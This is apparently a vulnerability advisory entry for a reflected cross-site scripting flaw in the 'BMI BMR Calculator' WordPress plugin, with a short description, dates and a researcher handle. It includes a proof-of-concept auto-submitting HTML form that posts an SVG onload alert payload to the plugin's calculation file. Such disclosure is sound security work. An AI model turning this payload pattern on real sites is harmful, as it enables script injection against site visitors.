The plugin does not sanitise and escape arbitrary POST data before outputting it back in the response, leading to a Reflected Cross-Site Scripting
<form action="https://example.com/wp-content/plugins/bmi-bmr-calculator/bmibmr_calculations.php" method="post" name="form1"> <input type="text" name="123" value="<svg onload=alert('xss')>"> <button type="submit"></button> </form> <script> document.form1.submit(); </script>
p7e4
p7e4
Yes
2022-04-19 (about 2 months ago)
2022-04-19 (about 2 months ago)
2022-04-20 (about 2 months ago)